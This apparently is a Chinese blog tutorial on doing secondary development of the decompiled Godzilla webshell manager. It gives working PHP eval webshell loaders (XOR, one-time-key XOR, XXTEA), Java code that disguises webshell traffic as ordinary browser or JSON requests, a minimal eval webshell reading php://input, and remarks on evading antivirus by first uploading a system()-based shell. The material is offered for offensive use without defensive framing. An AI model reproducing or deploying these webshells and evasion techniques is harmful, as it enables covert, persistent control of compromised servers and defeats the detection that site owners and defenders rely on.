源码准备
众所周知,哥斯拉虽然不提供源码,但jar未做反编译,所以可以进行二开。原版地址,反编译网址,直接拖入jar包后下载压缩包。
在IDEA中配置,可以直接使用Java21进行编译开发:

配置源码目录为项目根目录就行:

然后当前反编译的很多官方库有误,直接编译项目会报错,需要转换成Maven进行包管理比较好,直接上Codex帮我检查能写在pom.xml里面的包,然后让它帮助调整项目结构到能正常编译为止,没必要自己浪费太多时间在搭环境上。
工作原理
在core/shell/ShellEntity.java里面定义了webshell的实体类,比较重要的就是初始化这里,从上下文中获取了payload和cryption,也就是选择的不同语言的载荷类型和加密算法,cryptionModel和payloadModel都是两个接口类的对象,调用check()和test()进行初始化检查。

这里以PHP路径为例,在shells/cryptions/phpXor/PhpEvalXor.java中,实现了Cryption类的方法,PHP_EVAL_XOR_BASE64用于进行流量的加解密:

载荷的生成也在类里面定义了,当然这里用的是generateEvalContent()方法生成,别的比如phpXorRaw就是使用generate()方法调用Generate类进行生成。

这是一个简单的base64+xor的载荷模板:base64.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass='{pass}'; $payloadName='payload'; $key='{secretKey}'; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } }
|
上面只是加解密的方法,或者说是原始payload的加载器,那原始payload在哪呢,在shells/payloads/php/PhpShell.java,实现了Payload类定义的各种方法,再在payload.php中定义真实的php载荷,通过getPayload()方法读入。

最后再通过evalFunc()发送真实的载荷请求。

到这就把一个Webshell管理的基本功能实现梳理完了。
新增Shell加载器
新增XXTEA加密的PHP加载器:
先把PHP_EVAL_XOR_BASE64的实现代码复制一份,基于eval的实现会更灵活一点。把目录名改成了phpLoader,更贴合这个模块,后续还可以写一个像冰蝎那样自定义加载器的功能。然后重新写一个加解密算法:

同样的需要创建一个xxtea.bin的模板用于在靶机上对载荷进行解密,这里不贴代码了,很简单。模板生成改为了传入模板名而不是之前的布尔选择,更灵活:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static byte[] GenerateShellLoder(String pass, String secretKey, String templateName) { byte[] data = null; try { InputStream inputStream = Generate.class.getResourceAsStream("template/" + templateName); String code = new String(functions.readInputStream(inputStream)); inputStream.close(); code = code.replace("{pass}", pass).replace("{secretKey}", secretKey); code = TemplateEx.run(code); data = code.getBytes(); } catch (Exception e) { Log.error((Throwable)e); } return data; }
|
那么新的加载器生成部分就这么写:
1 2 3 4 5 6 7 8
| public String generateEvalContent() { String eval = (new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), "xxtea.bin"))).replace("<?php", ""); eval = functions.base64EncodeToString(eval.getBytes()); eval = (new StringBuffer(eval)).reverse().toString(); eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", URLEncoder.encode(eval)); eval = URLEncoder.encode(eval); return eval; }
|

一次一密
在原理的基础上,改为一次一个解密密钥,如何设计呢,可以将原来的getSecretKeyX()生成的密钥作为预主密钥,用来加密之后每次生成的随机密钥。
1 2 3
| public String getSecretKeyX() { return functions.md5(this.getSecretKey()).substring(0, 16); }
|
这里以xor加密为例,通信流程变化:
- 旧版(固定密钥 XOR):请求: base64(XOR(data, fixedKey));响应: base64(XOR(result, fixedKey))
- 新版(一次一密 XOR):请求: base64(XOR(ek, masterKey) + XOR(data, ek)) ← 16字节 + 数据;响应: base64(XOR(ek2, masterKey) + XOR(result, ek2)) ← 16字节 + 数据
在encode和decode方法里面添加对随机密钥的加解密,

然后新的载荷模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php @session_start(); @set_time_limit(0); @error_reporting(0);
function encode($D, $K) { $len = strlen($D); for ($i = 0; $i < $len; $i++) { $c = $K[$i + 1 & 15]; $D[$i] = $D[$i] ^ $c; } return $D; }
function genRandomKey($len = 16) { if (function_exists('random_bytes')) { try { return random_bytes($len); } catch (\Exception $e) {} } if (function_exists('openssl_random_pseudo_bytes')) { $bytes = openssl_random_pseudo_bytes($len, $strong); if ($strong) return $bytes; } $key = ''; for ($i = 0; $i < $len; $i++) { $key .= chr(mt_rand(0, 255)); } return $key; }
$pass = '{pass}'; $payloadName = 'payload'; $key = '{secretKey}';
if (isset($_POST[$pass])) { $encData = base64_decode($_POST[$pass]); $encKey = substr($encData, 0, 16); $encPayload = substr($encData, 16); $ek = encode($encKey, $key); $data = encode($encPayload, $ek);
if (isset($_SESSION[$payloadName])) { $payload = encode($_SESSION[$payloadName], $key); if (strpos($payload, "getBasicsInfo") === false) { $payload = encode($payload, $key); } eval($payload); $ek2 = genRandomKey(16); $encResult = encode(@run($data), $ek2); $encKey2 = encode($ek2, $key); echo substr(md5($pass . $key), 0, 16); echo base64_encode($encKey2 . $encResult); echo substr(md5($pass . $key), 16); } else { if (strpos($data, "getBasicsInfo") !== false) { $_SESSION[$payloadName] = encode($data, $key); } } }
|
然后对一些细节再做一些修改就可以成功连接了。
流量伪装
在/core/ui/component/frame/ShellSetting.java的文件中可以设置请求体的内容:

1 2 3 4 5 6 7
| this.headersTextArea.setText( "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15\n" + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n" + "Accept-Language: zh-TW,zh;q=0.9,en;q=0.8\n" + "Accept-Encoding: gzip, deflate, br\n" + "Upgrade-Insecure-Requests: 1\n" );
|
或者:
1 2 3 4 5 6 7
| this.headersTextArea.setText( "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36\n" + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n" + "Accept-Language: zh-CN,zh;q=0.9\n" + "Accept-Encoding: gzip, deflate, br\n" + "Upgrade-Insecure-Requests: 1\n" );
|
可以改为Json格式的请求和响应:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public byte[] encode(byte[] data) { try { byte[] ek = generateRandomKey(16); byte[] encData = this.E(data, ek); byte[] encKey = this.E(ek, this.masterKey); byte[] combined = new byte[encKey.length + encData.length]; System.arraycopy(encKey, 0, combined, 0, encKey.length); System.arraycopy(encData, 0, combined, encKey.length, encData.length); String json = String.format("{\"%s\":\"%s\",\"%s\":\"%s\"}", functions.escapeJson(this.pass), functions.escapeJson(this.evalContent), functions.escapeJson(this.shell.getSecretKey()), functions.base64EncodeToString(combined)); return json.getBytes(); } catch (Exception e) { Log.error((Throwable)e); return null; } }
|
然后解码可以直接只取其中有用的部分,比如我这里将返回值放在data里面,直接在findStr()方法里面实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public String findStr(byte[] respResult) { String htmlString = new String(respResult);
String tag = "\"data\":\""; int start = htmlString.indexOf(tag); if (start >= 0) { start += tag.length(); int end = htmlString.indexOf("\"", start); if (end >= start) { return htmlString.substring(start, end); } }
return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight); }
|
最后改一下加载器对json的解析适配就可以了。
实际效果:

响应:

请求体里面还有eval,想要没有只能修改webshell为下面这样:
1 2 3
| <?php $__i=json_decode(file_get_contents("php://input"),true); $__i!==null&&eval(eval(base64_decode(strrev(urldecode($__i["{pass}"])))));
|
这样流量特征就更少了,但webshell就必须带上一次额外的eval执行(用临时文件的方式webshell可以不含有eval),但这里eval不太好做免杀,因为不能当作函数那样可以拼接混淆,感觉用system做一个免杀的上传之后,再写入一个哥斯拉的马比较好。

总之就是webshell和流量特征之间需要做取舍。